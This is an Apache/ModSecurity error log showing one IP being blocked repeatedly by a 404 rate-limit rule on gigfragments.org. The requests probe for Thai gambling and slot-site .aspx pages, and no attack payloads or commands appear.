[Tue Jan 27 16:08:14.073646 2026] [:error] [pid 41780:tid 41805] [client 51.161.86.195:43236] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhyblvu-XLQ0TaZ4FHt4gAAARc"]
[Tue Jan 27 16:08:14.352210 2026] [:error] [pid 7561:tid 7568] [client 51.161.86.195:43240] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20chang123.io.aspx"] [unique_id "aXhybrXGI6mgvHQqkXyzOwAAAMQ"]
[Tue Jan 27 16:08:14.733639 2026] [:error] [pid 7454:tid 7530] [client 51.161.86.195:43226] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%8A%E0%B8%B5%E0%B8%A2.aspx"] [unique_id "aXhybpltCoZEfMmfl8D9fwAAAI4"]
[Tue Jan 27 16:08:15.381879 2026] [:error] [pid 41780:tid 41792] [client 51.161.86.195:35942] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81.aspx"] [unique_id "aXhyb1vu-XLQ0TaZ4FHt4wAAAQo"]
[Tue Jan 27 16:08:16.699156 2026] [:error] [pid 48446:tid 48499] [client 51.161.86.195:35948] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhycMDRSaZ8F8aaLxlpcQAAAdU"]
[Tue Jan 27 16:08:17.269348 2026] [:error] [pid 48446:tid 48492] [client 51.161.86.195:35956] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87100%20%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%97%E0%B8%A8.aspx"] [unique_id "aXhyccDRSaZ8F8aaLxlpcwAAAc4"]
[Tue Jan 27 16:08:17.291147 2026] [:error] [pid 48446:tid 48496] [client 51.161.86.195:35960] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20chang123.io.aspx"] [unique_id "aXhyccDRSaZ8F8aaLxlpdAAAAdI"]
[Tue Jan 27 16:08:18.392078 2026] [:error] [pid 7561:tid 7575] [client 51.161.86.195:35972] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXhycrXGI6mgvHQqkXyzQQAAAMs"]
[Tue Jan 27 16:08:19.290038 2026] [:error] [pid 41780:tid 41800] [client 51.161.86.195:35988] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXhyc1vu-XLQ0TaZ4FHt5AAAARI"]
[Tue Jan 27 16:08:20.655303 2026] [:error] [pid 48662:tid 48669] [client 51.161.86.195:35998] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%99%E0%B8%AD%E0%B8%81%20%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88%20%E0%B8%97%E0%B8%B5%E0%B9%88%20%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXhydOD8iESUP9uRiRPVAgAAAoE"]
[Tue Jan 27 16:08:20.854103 2026] [:error] [pid 41780:tid 41790] [client 51.161.86.195:35980] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%8B%E0%B8%B8%E0%B8%9B%E0%B9%80%E0%B8%9B%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhydFvu-XLQ0TaZ4FHt5gAAAQg"]
[Tue Jan 27 16:08:21.391276 2026] [:error] [pid 48412:tid 48435] [client 51.161.86.195:36004] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87100%20%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%97%E0%B8%A8.aspx"] [unique_id "aXhydXbJMfAKlln88JHFCAAAAVU"]
[Tue Jan 27 16:08:21.726887 2026] [:error] [pid 41780:tid 41788] [client 51.161.86.195:36014] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87100%20%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%97%E0%B8%A8.aspx"] [unique_id "aXhydVvu-XLQ0TaZ4FHt5wAAAQY"]
[Tue Jan 27 16:08:23.436950 2026] [:error] [pid 7453:tid 7500] [client 51.161.86.195:36022] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXhydxfsyA2ws_ADquhopwAAAEs"]
[Tue Jan 27 16:08:23.456775 2026] [:error] [pid 7561:tid 7576] [client 51.161.86.195:36032] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%99%E0%B8%AD%E0%B8%81%20%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88%20%E0%B8%97%E0%B8%B5%E0%B9%88%20%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXhyd7XGI6mgvHQqkXyzSgAAAMw"]
[Tue Jan 27 16:08:24.443758 2026] [:error] [pid 48446:tid 48496] [client 51.161.86.195:36040] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%99%E0%B8%AD%E0%B8%81%20%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88%20%E0%B8%97%E0%B8%B5%E0%B9%88%20%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXhyeMDRSaZ8F8aaLxlpiQAAAdI"]
[Tue Jan 27 16:08:44.415483 2026] [:error] [pid 48412:tid 48414] [client 51.161.86.195:50714] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhyjHbJMfAKlln88JHFGAAAAUA"]
[Tue Jan 27 16:08:45.128226 2026] [:error] [pid 48528:tid 48551] [client 51.161.86.195:34794] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg.aspx"] [unique_id "aXhyjQOGRrquT9N7CZpWjAAAAhU"]
[Tue Jan 27 16:08:45.751431 2026] [:error] [pid 41780:tid 41784] [client 51.161.86.195:33864] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20168.aspx"] [unique_id "aXhyjVvu-XLQ0TaZ4FHt_gAAAQI"]
[Tue Jan 27 16:08:46.287855 2026] [:error] [pid 41780:tid 41787] [client 51.161.86.195:33878] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhyjlvu-XLQ0TaZ4FHt_wAAAQU"]
[Tue Jan 27 16:08:46.557964 2026] [:error] [pid 7454:tid 7528] [client 51.161.86.195:50726] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhyjpltCoZEfMmfl8D9owAAAIw"]
[Tue Jan 27 16:08:47.469733 2026] [:error] [pid 48631:tid 48645] [client 51.161.86.195:33894] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXhyjyN5eesHzEogX0wfiAAAAkw"]
[Tue Jan 27 16:08:48.417343 2026] [:error] [pid 48631:tid 48636] [client 51.161.86.195:33906] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXhykCN5eesHzEogX0wfiwAAAkM"]
[Tue Jan 27 16:08:49.525115 2026] [:error] [pid 48445:tid 48450] [client 51.161.86.195:33920] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%97%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%AB%E0%B8%A1%E0%B8%94.aspx"] [unique_id "aXhykRFh_QNUhZ0Hkze5ewAAAYE"]
[Tue Jan 27 16:08:50.543490 2026] [:error] [pid 48662:tid 48668] [client 51.161.86.195:33934] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhykuD8iESUP9uRiRPVEQAAAoA"]
[Tue Jan 27 16:08:50.613688 2026] [:error] [pid 48662:tid 48693] [client 51.161.86.195:33948] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXhykuD8iESUP9uRiRPVEgAAApg"]
[Tue Jan 27 16:08:51.688313 2026] [:error] [pid 48445:tid 48467] [client 51.161.86.195:33954] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhykxFh_QNUhZ0Hkze5fwAAAZI"]
[Tue Jan 27 16:08:52.429318 2026] [:error] [pid 41780:tid 41801] [client 51.161.86.195:33960] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhylFvu-XLQ0TaZ4FHuAQAAARM"]
[Tue Jan 27 16:08:53.217481 2026] [:error] [pid 48662:tid 48685] [client 51.161.86.195:33968] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20888.aspx"] [unique_id "aXhyleD8iESUP9uRiRPVFgAAApE"]
[Tue Jan 27 16:08:53.736297 2026] [:error] [pid 41780:tid 41796] [client 51.161.86.195:33980] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXhylVvu-XLQ0TaZ4FHuAgAAAQ4"]
[Tue Jan 27 16:08:53.989526 2026] [:error] [pid 48662:tid 48679] [client 51.161.86.195:33990] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhyleD8iESUP9uRiRPVFwAAAos"]
[Tue Jan 27 16:08:54.229356 2026] [:error] [pid 48445:tid 48473] [client 51.161.86.195:34006] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sll%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhylhFh_QNUhZ0Hkze5gwAAAZg"]
[Tue Jan 27 16:08:55.928650 2026] [:error] [pid 41780:tid 41804] [client 51.161.86.195:52032] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXhyl1vu-XLQ0TaZ4FHuBAAAARY"]
[Tue Jan 27 16:08:56.178169 2026] [:error] [pid 48662:tid 48681] [client 51.161.86.195:52042] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aXhymOD8iESUP9uRiRPVGgAAAo0"]
[Tue Jan 27 16:08:57.094828 2026] [:error] [pid 48445:tid 48449] [client 51.161.86.195:52050] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXhymRFh_QNUhZ0Hkze5iQAAAYA"]
[Tue Jan 27 16:08:57.961712 2026] [:error] [pid 48662:tid 48678] [client 51.161.86.195:52060] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXhymeD8iESUP9uRiRPVHAAAAoo"]
[Tue Jan 27 16:08:58.410845 2026] [:error] [pid 7454:tid 7526] [client 51.161.86.195:52076] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aXhympltCoZEfMmfl8D9pQAAAIo"]
[Tue Jan 27 16:08:59.401306 2026] [:error] [pid 7561:tid 7564] [client 51.161.86.195:52086] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20g2g.aspx"] [unique_id "aXhym7XGI6mgvHQqkXyzYwAAAMA"]
[Tue Jan 27 16:09:00.533026 2026] [:error] [pid 48412:tid 48425] [client 51.161.86.195:52090] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhynHbJMfAKlln88JHFHwAAAUs"]
